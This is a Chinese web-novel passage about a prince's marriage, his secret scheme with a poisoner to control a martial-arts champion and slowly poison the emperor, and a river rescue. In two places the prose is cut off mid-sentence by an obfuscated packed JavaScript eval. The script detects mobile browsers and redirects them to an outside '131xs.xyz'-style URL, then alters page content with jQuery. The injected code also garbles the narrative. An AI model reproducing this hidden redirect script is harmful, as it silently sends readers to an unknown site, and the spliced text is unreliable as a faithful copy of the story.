“谁要你侍奉了，只要你好好的陪着我就好了。”周明理显然有被她的话安慰到，也明白这是现在说不是好时候，也便收了话题，而马车在这时也停在了王府门前。 今日王府门口热闹非凡，袁墨张罗着人发喜糖喜酒，萧妖雪看见了却没有上去讨彩头，而是到了一旁的贺礼处将礼物送了。她选的礼物是一对蜡烛，可是这蜡烛确实不普通，选用的蜡油与李府祠堂中的长明灯的灯油可以相提并论。 这蜡油也来自西域，提取自西域一种鱼身上，西域本就缺水，所以鱼也就更加珍贵，这蜡烛的身价也就跟着水涨船高，再加上这对小小的蜡烛却可以不熄不灭的燃烧月余，更让这蜡烛成了无价之宝。 就在送完礼萧妖雪准备离开时却余光看到了，王府中有一人经过，这人萧妖雪只见过一面，但是印象深刻，此人正是千足王窦毒，而他现在正像没事人一样在王府中闲庭信步。 按理说之前徐战烧了毒谷，周明启作为徐战的徒弟，徐战应当不会允许二人再走这么近了。莫非是说周明启是背着徐战把窦毒留在府中的？ 可是来不及多想人已经消失在视野中，街上也传来了迎亲队伍的古乐声，周明理送完礼过来，本想着和萧妖雪在路边看看今日的新娘子，却不料萧妖雪头也不回的就走。 “你不看看新娘子？” “不看了，清落在张罗着，我就不添乱了，你也知道青楼女子在这种时候很容易被忌讳的。” “不是因为这个原因吧。” “那你作为兄长今日也没有去喝五殿下的喜酒呀。” “二哥不也没去。” “今日过后，也不知道是敌是友，还是不去了。” “你在担心枕边风？” “你是没见到之前袁梅才见到五殿下的激动劲，我还是不要去扫兴了。” “以我对袁小姐的了解，她应当比你想的更加坚强。” “谁知道呢。” 二人上了花轿，周明理看着萧妖雪不同于来时，还是一副心不在焉的感觉，直觉告诉他，她这状态绝对不是因为袁梅的婚事。 “怎么了？有心事？”周明理问道。 “我……”萧妖雪欲言又止，她也不知道这个事情该不该说，毕竟周明理对此是一无所知。 “妖雪，你作为潇湘阁中人，你应该知道，有些消息只有说出来才会具有它真正的价值。” “可是……” “是什么我不能听的吗？我想发生在老五府中的事情，应该不会有我不能听吧。”这句话显然使萧妖雪安稳了不少。 “我看见窦毒了。” “窦毒？毒谷的那个千足王？” “不错。我不知道他为什么会出现在五殿下的府中，而且他就像是座上宾一般，毫不避讳见人。” “我可能还真知道这是为什么。”周明理说得也犹豫，因为这个想法他也不太愿意相信。 “什么？” “前不久，圣人突犯头疼之症，而那解头疼的第一枚丹药就是周明启呈上的，他说他之前在游离时遇到高人，见到圣人有这毛病就急忙去请了高人出山。” “这人是窦毒，那圣人的病呢？” “服了丹药之后确实头疼之症缓解了不少，但是身体却虚弱的厉害，而且只要一日不服头疼的症状就会加重，甚至让人神智不清。” “这可不是什么好情况。” “可是御医也查过圣人的身体和丹药都没有查出什么，当下也只能继续服用。” 萧妖雪现在很庆幸把这个消息告诉了周明理，不然她恐怕怎么都不敢想周明启用窦毒竟然是为了毒害圣人。如今事态明朗，虽然没有办法立刻治好圣人，但是至少之后发生什么事情，她都有时间做些准备。 而这些消息萧妖雪也要速速传出信回谷中，让文妆想办法通知萧云雁。 袁梅坐在花轿上看到萧妖雪和周明理一同走向远处，心中难免有些苦涩。 昨日见了最后以未婚妻的身份见了周明启一面，他说了很多事情，袁梅当晚就有些睡不着，但是一夜的思考，也让她想明白了很多事情，其中也包括曾经萧妖雪对自己说过的一些。现在她总算明白当时她为何这样说了，不过今日的每一步都是她自愿选择的，以后的也会这样。 花轿停稳，新妇过门，一旁的人群传来山呼海啸般的欢呼，袁梅在人群中看到了黄清落，她还是一脸灿烂的笑容，传递出真诚的祝福。再看这人群，她这样笑容的人不在少数，袁梅顿感欣慰。 王府大门口，站着同样一身喜服的周明启，今日他打扮了一番，本就俊俏的人看起来更加养眼，人群中不少女子都忍不住多看了来两眼。袁梅虽然带着红盖头，但是同样在这样模糊中多看了两眼。 今日是袁梅大喜的日子，她的养父母也来到京都，看着自己从小带大的两个泥娃娃，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944397|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个当了大官，一个嫁了高门，别说这一家乡野农夫有多高兴了，他们穿上了镇上买的最好的衣服，带上了祖传的首饰，可是如今坐在这王府之中，还是觉得有些尴尬，好在袁墨忙完之后就与他们一同落座，原本有些佝偻的背也总算可以直起来了。 新郎官过来敬酒的时候，同袁墨还有这对养父母说了不少好听的话，反反复复强调他一定会对袁梅好，让他们放心。又拍着袁墨的肩膀直叫舅爷。 这喜酒一直喝到了月上中天，周明启才带着酒气昏昏沉沉进了新房。 屋内袁梅已经顶着那沉重的发髻坐了几个时辰了，饶是作为一个习武之人，袁梅也觉得有些招架不住了，如今终于听到有人进了，她才坐正了身体。 红盖头遮住了视线，她只能隐约看到周明启脚步虚浮向着她走过来，随着他靠近的步伐，袁梅的心跳也跟随着他靠近的脚步加快。 可是周明启走到袁梅面前却没有掀盖头，而是坐在了她身边，然后顺势靠在了袁梅身上，袁梅本来顶着凤冠坐了这么久就已经很累了，被周明启这突然一靠，腰没撑住就向一旁倒去。 周明启靠了个空，吓得酒都醒了不少，急忙扶住袁梅。 “小梅，你没事吧，是我不对，忘了你已经等了这么久。” “嗯。”袁梅也不知道该说什么好，只能轻轻的回应他。 “我这就给你掀盖头，娘亲说过，成婚当天女子是最累的。” 说着挑了盖头，袁梅今日新妇的妆容是经过精心打理，美得犹如画中女子一般。周明启才揭了盖头就被她的容貌给深深的吸引住。 二人虽然之前在游走江湖之时已经相交甚密，但是如今还是第一次作为夫妻共处一室，而不是惺惺相惜的江湖英雄，心中难免有些波动。 袁梅眼前的迷雾终于被拨开了，伴随着摇曳的红烛看着周明启，整个人都有些飘飘然，从他们在京都再度重逢至今仅仅一月，周明启突然就从江湖上抗刀的好兄弟变成了日后相伴一生的枕边人。 要袁梅说不开心那定然是假的，周明启本来就长相俊美，又是当朝皇子，相处下来最甜人好，在不知道真实身份之前袁梅也不是没有幻想过，只是那不过是幻想罢了。 如今幻想成真，曾经的周元如今的周明启，怎么看都让袁梅心动不已。 “我帮你把凤冠取了吧。”周明启率先动了声，但不知是因为今日与宾客寒暄多了还是许久没有说话，嗓音有些沙哑。 说着他就动手去摘袁梅头上的凤冠，动作非常的轻，他好似真的很担心发丝牵扯让袁梅吃痛。 凤冠摘去，二人就维持着紧靠的姿势，烛火愈来愈旺。 “娘子，今天我真的等了很久。”周明启的话一说出口，袁梅的脸忍不住就红了，心想她又何尝不是，但是这话她说不出口。 周明启得到的只有袁梅那似流水般柔情的眼神，以及缓缓靠近他的红唇。 周明启不等袁梅靠近，就用行动告诉了袁梅他心中所想。 一夜春风雨，红梅浮白沙。清酒落空樽，娇莺彻夜啼。 周明启小记： 袁梅和周元结伴而行已经有了三月了，二人去了一趟江南，恰逢荷花盛开，二人便泛舟碧波之上，身旁是接天的莲叶。 周元突然问道：“小梅，你的轻功如何？” “倒是习了一套，但算不上上乘。” “我前几日也习了一套轻功，不如我们比试比试？” “好呀，怎么比？” “我听说这湖中有多并蒂莲，我们就比比谁先找到如何？” “好，到时候变成落汤鸡可别哭鼻子。” 袁梅和周元一同呆了这么久，对于他是个什么本事自认为还是了如指掌的。 也不等周元叫开始，便率先腾身而起向着藕花深处奔去，惊起叶浪千层。 “我都没喊开始呢。”周元的声音追着袁梅去了，但显然还是太慢了。 看着远去的袁梅，周元并没有选择现在就用轻功，而是拿起船桨一人在湖中慢慢的划了起来。 也不知道是他最近运气太好，还是说那并蒂莲在冥冥之中吸引他。 周明启泛舟没一会便看到了那一株双蒂的莲花。而且这株并蒂莲一粉一白确实稀罕。 就在这时袁梅的身影也出现在周元的视野中，同时还有她那带着略微怒气的声音。 “你不是比轻功吗？你怎么还在船上？” “你不也说你的轻功一般吗？竟然能跑这么久还站在莲叶上。” 说话间周元也提起了气息二人同时调动轻功向着那并蒂莲而去。 “砰！砰！”两声气息对撞，周元顿时就失去了平衡，朝着水中就倒去。 此时袁梅已经摘到了那朵并蒂莲，看着周元即将落水，也是条件反射的出手去捞人。却不料，自己的轻功确实一般，根本带不动两个人，于是二人就这样一起落入了水中。 好在周元水性不错，三两下就把袁梅托起来，送上了小船，于是二人就这样都成了落汤鸡。 二人相视一笑，再看那被袁梅抛在船中的并蒂莲也因为太过盛放，轻轻一碰就化作了万千散落的花瓣了。 55. 密谈路行 周明启与袁梅大婚二人可谓是举案齐眉，夫妻感情羡煞旁人。袁梅作为一个练家子，这段时间在王府里面都是被供着养的，想要什么干什么一呼百应。 至于周明启，新婚之后，圣人特许了他一月的休沐。这段这段时间几乎上是天天与袁梅念在一起。 不过这样甜蜜的日子过了几天袁梅就发现周明启这段时间似乎也不仅有自己，这王府中最近有几人出出进进的，有个晚上与周明启那是彻夜长谈。 只是之后周明启回房后都会黏黏腻腻的缠着袁梅好一段时间，这让袁梅完全没有时间多想。 就这样的日子过了半月有余，周明启与那些人商讨的日子越来越多，晚上回房也还是越来越晚。袁梅本是不在意的，却是有一晚在花园中散步，也不知道是恰巧还是好奇心使然，就路过了周明启的书房。 房内烛火摇曳，模糊中在窗户上印出了三个人的身影。周明启的不用多说，袁梅一眼就认了出来，而另外两人袁梅猜到了一个人的身份。这人比她早几天进府，好像是个炼丹的，平日里周明启给他安排了一个小院子，他们两好像也不常走动，现在看来是有什么话都留着这回说了。 至于另一个人，袁梅就完全没有思路，此人好像是府外之人，但是袁梅从来没有见到这人是怎么进的府，想必也是个练家子。 书房的隔音不错，袁梅离得远听不清里面在说什么，虽然之前答应过萧妖雪要给她做暗探，但是她现在想来恐怕萧妖雪也不会需要她这个暗探了。 如今兄长已经与李治彻底撕破了脸皮，日后他们对月的复仇恐怕还要依仗周明启，而她就做好一个夫人该做的事情就好了，莫要给丈夫和兄长平添麻烦。 就在袁梅正要离开的时候，夜风夹杂着书房的声音，袁梅就算再不想听，也听到了这个声音，此人她虽然不认识，但是她知道这个声音的主人。 周明启竟然和此人攀上了关系，他的计划看来真的不简单。知道了对方的身份，袁梅不敢再多留，毕竟以对方的能力，恐怕早就知道她站在那里了。 现在袁梅最好的就是快快回屋，沐浴更衣，等着周明启回来。 书房之内，周明启一边坐的正是他这几日才请到府上的窦毒，而另一位浓眉大眼，鼻若悬峰，口若利刃，虽是一身粗布麻衣，但是完全掩盖不了此人身上的精气神，他往那一坐，就算不认识的人也可以看出此人有天人之相，绝非等闲。 “路大侠，这段时间麻烦你老往王府跑了。今夜过后我们的计划应该就可以开始实行了，届时就全靠路大侠了。”周明启对着这人说道。 “你说的这事交给我路行，你就放心好了，只是我不知道你如何确定这有效，毕竟朝中之事我不懂也不便多言。”此人正是当今武榜第一的路行， “路大侠，不必多虑。” “此前都是我的徒弟严忌与你们走动，我此来也是严忌劝说了好久，我听了你的打算，只要你能做到，我路行定然不会半途而废。” “诶呀，不愧是路大侠，出口便是清风霁月，品格高尚呀，如今殿下您的事业有路大侠这样的人出手相助，还担心有何大事不可成。”一旁的窦毒也拍起了马屁。 “不过。”却不料窦毒刚说完，路行就来了个转折，把周明启和窦毒原本都放下的心，又给提了起来。 “路大侠，不过什么？”周明启小心翼翼的问道。 “不过，据我所知，毒谷和你师傅徐战已经闹翻了脸。你如今把窦毒这家伙接到府上，你是打算放弃徐战？” “我放弃他？恐怕在我决定娶袁梅的时候，他就已经放弃我了。你们都知道徐战想要把徐菀露嫁给我，日后扶我做皇帝，然后借用后位来控制我，让这周家的天下不改姓却易主。莫不是路大侠觉得这我可以忍？” “我虽不懂朝政，但是我知道徐战在武道上造诣不错，这样的做什么都不错。殿下为了一个不入流的虫蚁放弃了这样一位同伴，甚至还成了敌人，会不会有些得不偿失。” 路行之前就与徐战有些交情，对于此人评价也颇佳。徐战不仅有江湖功夫在身上，还沾染了战场的杀气，如今又侍奉在圣人身侧，杀气中已经透露出帝王之气，这是多少江湖儿郎都梦寐以求的。其中也包括了现在的天下第一路行。 “我知道，路大侠与师傅有些交情，但是如今箭在弦上不得不发了，今日本王就再问路大侠一次，你确定要与本王合作？就算日后徐战也会出现在我日后荣登帝王之位的尸骨路之上？” 周明启对于路行的态度还是有些怀疑，毕竟如果路行反水，那他周明启定然是惨败。 “我们习武之人讲究江湖道义，与你们这些政客可不一样，不要用你们那些花花心眼来看我们。我与徐战不过是把酒言欢之友，若是我真的念及他我今日就不会来了。再说了你这不是有一位毒师吗，你若不放心，让他给我找颗毒药，我定时来找你拿解药。”路行对于周明启的质疑有些恼火，周明启竟然质疑他这天下第一的信誉。 “路大侠自然是高风亮节，是我粗鄙，这毒我怎么好意思给你用呢，你可是我的恩人呀。” “殿下明白就好，既然我们已经确定了合作，那就说说吧。东佛寺那边殿下打算如何安排。他们这群有信仰的人可不是那么好策反的。” “路大侠考虑周全，不过也正是他们有信仰，那才是最容易被操控的。”也不知道周明启脑袋里面在想什么，眼神越来越狡黠。这反倒激起了路行的野心，日后他就需要这样一个有勇有谋的主子，天下就需要这样一个圣人，而不是整日窝在深宫看文书的废物。 “那好吧，时辰不早我今夜就连夜出发，以免误了吉时。” 说着路行就起身离开了，屋内只留下周明启和窦毒二人。 在确定路行已经彻底走远后，周明启才对窦毒问道：“成功了吗？” “殿下放心，万无一失。子蛊在沉睡，就算他是天下第一他也感觉得不到。但是若是他脱离了控制，那我们就可以让他这四十多年的积蓄灰飞烟灭。你说像路行这样的天下第一，突然落入凡尘他会不会气死。哈哈哈” 窦毒越说越激动，不仅看似幻想，心中更是为了自己用蛊的本事大为赞叹。 “窦毒，这母蛊我能不能操控？”周明启突然问道。 “殿下？这是？”窦毒有些摸不透周明启的想法。 “我就随口一问，不过我有你在身边操控你和操控蛊，那确实都一样，术业有专攻，这事确实还是你去做比较好。” “殿下说的是。母蛊不同于子蛊，母蛊凶悍若是操作者有什么不慎，恐怕会反噬自身，这么危险的事情怎么能让殿下亲自出手呢。”窦毒急忙解释道。 “你的那丹药，还要出多少才会有效？”话题再次一转，好在窦毒这段时间跟着周明启已经摸清了他说话的风格，不至于把话题撂在原地，凉了气氛。 “回殿下，如今圣人已经离不开这丹药。之后便会觉得这一颗的量太少了，就要吃两颗，用不来哦多久他就会吃一把，那会离驾鹤西去也就不远了。” “好，不枉我救你。” 袁梅在房中等了许久，平日里这个时候她已然入睡，但是今夜却怎么都睡不着，脑袋中一直是那个人的声音。袁梅曾经有机会远远的见过路行，听过他说话，所以今日就算是只言片语她也可以确定这屋内的第三人一定是路行。 这个消息告诉萧妖雪一定很有用，但是袁梅觉得冥冥中有股力量告诉他一定不能说，这恐怕就是周明启试探自己的陷阱。 以路行的修为那是定然知道她在，但是他却完全不收声，让自己知道他的存在。要么就是他们所说无关紧要，要么就是试探自己会不会把这个消息传递给萧妖雪。 虽然已经猜到对方的用意，但是袁梅还是会因不能将心中的事情说出来而辗转反侧。 直到周明启推门进来了，袁梅都还没睡着。 周明启一进门就看到了在床上翻来复去的袁梅，嘴角勾起一个不清不楚的笑，却还是像往常一样轻手轻脚进屋关门，更衣上床，从身后抱住袁梅。 “夫人，睡着了吗？” 此时袁梅正紧闭双目，假装已经熟睡。并没有回答周明启的问题。 “夫人，这是在装睡，不想理为夫？” 说话间不安分的手就开始在袁梅身上游走，袁梅被他到处煽风点火，眉头不禁皱了起来。 “我就知道夫人，没有睡。怎么了？有心事？说不着？为夫这有一个办法，夫人要不要听？” 袁梅终于憋不住，出手拉住了周明启作乱的手，却迟迟不愿翻身。只是问道：“什么办法？” “夫人果然在装睡，要知道骗人可是不好的。夫人都骗我了还要我求我说办法，都没有点态度。”袁梅和周明启生活这么久，自然知道他这话的意思。 翻身过来，四目相对，袁梅抬脸向着周明启吻去。本是打算浅尝辄止，却不料周明启反客为主，二人就这样拉扯了好半天，在分开时已是情欲上浮。 “办法就是足够累。”周明启不怀好意的一笑，下一秒锦被蒙头红烛灭，虎啸雀鸣月西沉。 袁梅大婚之后，萧妖雪就鲜少出门，整日都在家中只要李治回来，二人就一同喝茶聊天，下棋赏花，这时萧妖雪觉得自己才是真正的过上了相府千金的生活，当然如果没有潇湘阁每日送来的一堆信件的话。 算着日子，距离潇湘阁武榜开榜越来越近，各地鸟雀都将收集到的消息传回谷中，此时萧妖雪本应该同萧云雁一同回谷里把这武榜新榜给拟出来，但是萧妖雪实在不敢离开京都，她真的担心一走之后，耳中便全是噩耗。 所以只有寻了几人每日往返谷中和李府传递消息。 而就在一切正在有条不紊的进行的时候，东佛寺却传来了一则震惊朝野的消息。 天降玉令，上写旧主无为，新君当启。这块玉令落在东佛寺周围的一个叫做莲座镇，此事一出本应被当作妖言惑众给处理了，却不知为何圣人却迟迟没有回应，这样更是人心惶惶，甚至还有谣言传出是圣人龙气衰减，恐怕时日不多了。 与此同时，祸不单行，这西边也不安定，西丹不知道哪里来的勇气在叶冥去世后就开始蠢蠢欲动，这几日胡笳城已经遭受好几波的攻击，好在江秋鸿早有准备，联手胡铭二人也是配合默契，没有让西丹跨胡笳城。 而这个消息传到宫中依然是石沉大海，一丝波澜都没有掀起。 这几日又恰逢圣人不上早朝，急的满朝文武满头大汗。 徐战此时竟然自告奋勇，带兵前往西域镇守。圣人没有什么指示，众朝臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959120|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不敢说什么，在这说此时确实需要这样一位大将军出手，不然胡笳城被攻破了，那敌军便是长驱直入东梁腹地了。 至于东边这事就没有人敢插手了，毕竟涉及皇室声誉，谁都不敢贸然干涉。 潇湘阁也四处收集消息，却是没有多少有用的，这玉令仿佛就真的是天降一般，完全看不出人为的痕迹。 但是就算如此宫中一直不遣人去处理也不是回事情。而圣人现在到底是什么情况，恐怕就只有整日守在他身边的周明理知道了。 深宫之中，周钦德躺在床上脸色煞白，呼吸细若游丝。 一群御医围在床前，却是无计可施，只能一遍又一遍的喊着：“下官无能，求圣人饶命。” 周明理就这样冷着脸站在一边，等待着最后一个御医把完脉，然后开始求饶，他才开口道：“一群没用的废物，要是圣人就这样瘫一辈子，又或是驾鹤西去，你们就等着办丧事吧。都给我滚。” 听了这话那些御医如获大赦一般，连滚带爬的跑出了圣人的寝宫。 脑袋这玩意能留一时是一时，说不好就峰回路转了。 众御医出去后，这寝宫却又进来了一人。正是之前圣人还没有彻底晕过去之前传过来二皇子周明志。 “御医还是没有好办法？” “都是一群庸医，恐怕还只有周明启的那个丹药有些作用。” “虽然我不信这丹药之说，但是事已至此只有这办法了。圣人之前唤我来是有何事？” “圣人要你监国。”这话一说来周明志顿时一惊，这一切都这么突然，突然得让他有些不敢相信。 “明理，这话可不能乱说。”周明志显然还是不太相信。 周明理见他这样转身去书桌上拿来一张圣旨，上面的内容都已经写好了，但是却独独还没有印下玉玺。 “明理，这圣旨还不能用。” “都这会了，你难不成还希望圣人起来给你盖一个？” “我……”周明志显然是犹豫了，这时候如果他接受了那日后只要不出意外，这太子之位也必然非他莫属了。 但是此时还有个周明启暗中蠢蠢欲动，周明志无论再怎么胸有成竹也不敢做这样的事情。 看着周明志还在犹豫，周明理竟然把他撂在了一旁，又回到了书桌前，打开一个盒子，竟然拿出了那玉玺印了上去。 一旁的周明志看了想再上前阻拦，却为时已晚。 “现在总可以了吧。” “明理，你！”周明志又惊又惧，周明理就算是皇子也是必死无疑的死罪。 “二哥现在可以放心了吧，有什么事我都扛着。” 周明理说罢又将圣旨递了过去，这次周明志终于不再推辞了。 接过圣旨对着床榻上昏迷不醒的圣人道：“儿臣接旨，定不负父皇所托。” 至此东梁便由周明志监国，三皇子周明理奉命前往东佛寺的查看玉令之事。 李治之子李安国奉命前往西域监军，无诏令不得回京。 袁梅小记： 袁梅和周元在江南待了许久，这也只是因为周元说江南气候宜人，养人。而袁梅则是在访遍了江南的武术名家，却总觉得差点意思。 终于在五个月后他们在江南待腻了，决定动身前往东佛寺，二人皆习武自然是希望得到东佛寺的点化，至此这武术之路就会好走很多。 抱着他们这样想法的人不在少数，但是大多去了都是求而不得。这世间最后一个从东佛寺藏经塔出来的人正是萧云雁，如今此人已经世人眼中逍遥江湖的散仙了。 “小梅，你说东佛寺会让我们进去吗？” “很难说呀。” “要是他不让怎么办？” “不让就走呗，你看着天下英雄豪杰这么多，也不是人人都进了那藏经塔。传说中的萧云雁进了如今却也武榜无名。” “不错，我看那武榜第一的路行不也没有进过，这才是真正的强者，但是既然我们来都来了，自然是要进去看看。” 二人到了东佛寺，不出意外的被老和尚拒绝的，可却不似他人那样只是扫地出门，老和尚还一人送了他们一句话。 袁梅的是：俗世未了恨未尝，因果千丝断时生。 周元的则是：锦衣厚禄不足意，拿起放下春风起。 二人当时听着这两句话都是一头雾水，但是却不知为何之后无论经历什么，这两句话都是中无法忘却。 被东佛拒绝之后，袁梅还想去西域走走，而这时周元突然拒绝了她的邀请，他只说出来太久了，该回去了。 甚至连袁梅最后一面都没有见，只是留了一个地址，让袁梅若是日后进京要去这个地方寻他。 袁梅当时对于他的不辞而别，生了不小的气，好在那段时间就住在东佛寺附近，袁梅每次觉得气火攻心的时候就去东佛寺里面听那些僧人讲经，原本浮躁的心竟然莫名的就平静了。 老和尚或许是看出了姑娘的心事，还给了她几本佛经，让她之后若是遇上烦心事，读上一读，袁梅之后也曾试过，还真别说效果显著。 就这样过了两月，袁梅心中的落寞和愤怒终于消散了，她才启程准备前往西域，却在这时收到了兄长从京都传来的信件，邀她入京，西域之行只能就此作罢。 56. 落水情缘 纵使近日东梁各处动乱不止，但是京都百姓的却从没有引起泛起一丝波澜。 作为一个生在京都的平头老百姓，除非有一日战火真的烧到了京都他们才会紧张，毕竟他们只守着那三寸的小店过活，要是什么事情都劳烦他们亲自操心，那岂不是杞人忧天了。 所以就在这边境动乱时候，京都的百姓又找到了一个娱乐的好去处，那便是金水桥。 金水桥边原先的都是秀娘聚集之地，不少的染坊布店开在两侧。后来不知道是谁穿出了金水桥的可以买到没有经过商贩倒卖的衣服，不少人就慕名而来。 好在那些布店也是很好的把握住了这个机会，找了几个裁缝就把这生意做了起来。而这金水桥率先发家的几家店的老板都是常聚在一开会，他们这的发达并非意外，而确实是有高人在暗中指点。 这日时近午时，几家店的老板簇拥着一个带着斗笠的女子从房中出来，突然熙熙攘攘的人群传来了叫骂声，众人多是侧头去看看到底是发生了什么事情，只有那个带着斗笠的女子，头也不回就向着反方向跑去。 突然眼前一众家丁服饰的人拦住了女子的去路。 为首的人礼貌的说道：“小姐，老爷不让你走。” 带着斗笠的女子显然有些慌张，说话都有些颤抖“你……你们认错了人了，我就只是路过而已。” 可是还不等她摆脱这群家丁，她的斗笠就被人从一旁一把扯了下来。 “黄清落，他们认错人了，那你是谁呢。” 来人正是黄清落的父亲黄世学，而黄清落也正是让这金水桥风生水起的幕后推手。黄清落之前在京都闲逛的时候偶然路过了这金水桥，便发现这里的店铺几乎是供应了整个京都的布料，但是这些秀娘生活得却格外拮据，她们辛辛苦苦做出来的东西，就被那些黑心商人低价收购，然后再高价卖给京都中的裁衣行。 到了卖家的手上，这价格已经不知道翻了多少。于是黄清落便萌生了这样的一个想法，只要把金水桥名声做起来，这里的秀娘也就不会过的这么辛苦了。 但是京都的商人那可不是一般的精明，所以黄清落选择了最快也是最有效的方式，她去找了潇湘阁让潇湘阁中的这些女子去金水桥。 虽说潇湘阁是青楼，但是潇湘阁的女子与那寻常青楼的女子在京都是拥有着不一样的待遇，她们的地位不亚于京都中一些小门贵族，所以当她们造访了金水桥在放出了这样的消息的时候，这金水桥的名声便飞快的在京都百姓口中传开。 但是这件事黄清落不敢让父亲知道，所以每次都是借着去找萧妖雪的理由，悄悄来金水桥给这些老板指导。只是这天下没有不透风的墙，黄清落最近出门的次数实在太多了，黄世学难免有些怀疑，就暗中派人跟了自家女儿一路，知道了女儿又和行商挂上了关系，黄世学勃然大怒，今日又恰逢黄清落外出，黄世学果断跟着黄清落来了这金水桥。 而现在黄清落竟然为了撇清关系，当着他的面说他认错了人，黄世学只觉得怒火中烧，整个人就像一个火药桶一样，甚至不需要引线直接就可以炸了。 这边吵闹声很快就吸引了大量的人围观，这么大的动静，自然也吸引来来了巡城的官兵。 李安国虽然即将前往西域，但是这手头巡城的工作在他走之前都是放不下，而他今日负责区域就恰好是这金水桥。 一早准备出门的时候，萧妖雪就说恰好也想去金水桥看看，二人便一起来了这边，所以此时二人也就刚好都赶到了这黄父训女的现场。 黄清落被父亲当街卸了斗笠，内心也是委屈的不行，明明她这一步做得很好，金水桥的秀女可以说凭借这一步重获新生，而父亲作为她的亲人，本应就是一个给予她夸奖的人，却不料还这样当众羞辱她。 “父亲，如果你觉得我这样做丢人，那这黄清落不当也罢。”黄清落越想越来气，看得人群中的萧妖雪和李安国心中都有些紧张。 平日里黄世学因为官职低微，与李家接触不多，黄清落虽是他们的好友，但是也很少谈起她的父亲，所以他们仙子啊也不确定黄父会不会做出什么过激的行为。 好在虽然黄清落态度刚硬，但是黄世学却没有再步步紧逼，而是放缓了语气说道：“清落，你说什么气话呢。为父知道，你这么突然给你安排了婚事你心中不满，但是这最后不是还没有说定吗，你也不用拿自己的安全来开玩笑。” “父亲，你也知道这事情突然，那罗升我们连见都没见过，他什么模样，什么性格，为人如何我们都一概不知，你就听了那媒婆几句忽悠，你就信了。这彩礼都收了，还有什么没有说定的。还说我拿自己的安全开玩笑，你都把女儿卖给陌生人还有什么不能开玩笑的。” “啪！”一声脆响响起，黄世学这一巴掌完全没有收着，黄清落被他一巴掌打得摔倒在地，额角磕到了一旁的石栏上，已经浸出了血迹。 萧妖雪在听到黄清落被说媒的时候就已经要冲出去，是李安国一直在一旁紧紧地拉着他。 而在看到黄清落摔倒后，就连萧妖雪直接动了气息，李安国根本拉不住她，被她一把薅下抓着的手，径直走上前去挡在了黄清落和黄世学中间。 “黄大人，你这是不是有点过了！”黄世学虽然没有当面见过萧妖雪，但是作为京都这样一个风云人物，现在只需要一眼，他就可以确定她的身份。 “萧小姐，这是我黄家的家事，你还是不要多管。”说着竟然一步上前想绕过萧妖雪去拉黄清落。 黄清落被打了头又被撞了整个人都晕晕乎乎，看着父亲又逼过来，急忙向萧妖雪身后缩，可是她们现在已经站的离水边很近了，黄清落也有些退无可退。 “黄大人，清落是我约出来，你这样不分青红皂白就把人打了，不合适吧？” 以萧妖雪对黄世学的了解，此人平日里为人温和，对于黄清落也颇好，当然前提是不涉及行商。但是今日意见却如此咄咄逼人，让萧妖雪心中也多少有些不爽。 “萧小姐，我黄某人说话难听，但是既然你非要听，那我就说说。在你来京都之前，清落一直都是可以安安心心在家呆着的大家闺秀，自从认识了你，这心都野了。现在更是来这种地方，一个要出嫁的人还在这抛头露面，也不知道是跟着谁学的。” 这话说出来可就真是夹枪带棒，李安国也听不下去，从身后拉住还在逼近萧妖雪的黄世学。 虽然李安国知道，萧妖雪无论是身份还是武功黄世学在他眼中都只是蝼蚁，但是蝼蚁的叫声实在惹人厌恶。 “父亲，这事情本来就是我的错，你不用这样指桑骂槐，妖雪是宰相的女儿，如今李大人也在，你这话传出去实在不好听。既然你觉得我这女儿给你丢脸了，那我就在这里给你赔不是了。这金水桥确实是我一手捧起来的，但是今天也算是被你给毁了，也不知道你是否如愿。不过要我走是不可能的，我的心血自然要融入我的血肉。” 听到最后这句的时候，黄世学还在憋着回敬的话，而萧妖雪已经听出了不对劲，转身就要去拉黄清落，却不料这姑娘现在反应倒是快，直接一跃就跳下了那金水河。 如今正值夏季河水湍急，黄清落落水后不过转瞬就已经被冲出了一段距离。 黄世学现在也慌了，沿着河边一直追女儿却因为河水太急，他都找不到下水的好地方。 而就在他身旁几步，突然传来了“噗通”一声，然后又是人群的一阵惊呼。黄世学转头才看到，刚刚出面的李安国已经跳下了，顺着河流划了两下水，就已经来到了黄清落的身边。 此时黄清落已经呛了几口水，被李安国把头举出湖面后还是忍不住的咳嗽，但好在人还清醒。 眼见二人就被水推着这样就向着下游而去，萧妖雪也有些焦急。跟了几步后终于是在岸边接应到抱着黄清落上岸的李安国。 此时的黄清落额头的血迹已经被河水冲刷干净了，留下了一个浅浅的豁口，又继续往外流出血渍，衬得小脸更加煞白，双眼紧闭，呼吸也是有一下没一下。 李安国看着怀中的人，这很明显就是溺水的症状，但是刚刚在河中她都还清醒，后面一直拖着她的头，现在怎么又晕过去。 但是救人要紧，再加上不知道是不是被刚刚黄清落订婚一事刺激到，李安国不加思考的就低下头去给黄清落渡气，正赶过来的萧妖雪清晰的看见了黄清落的就在李安国唇对上的时候，突然攥了起来。但是眼睛还是紧紧的闭着，直到李安国又这样给她渡了两口气，她才颤抖着睫毛睁开眼睛，脸上也有了血色。 李安国抱起湿漉漉的黄清落，对着黄世学道：“黄小姐今日受了，我带她去医馆看看，黄大人想必朝中还有不不少政事要处理，就不用你费心了。” 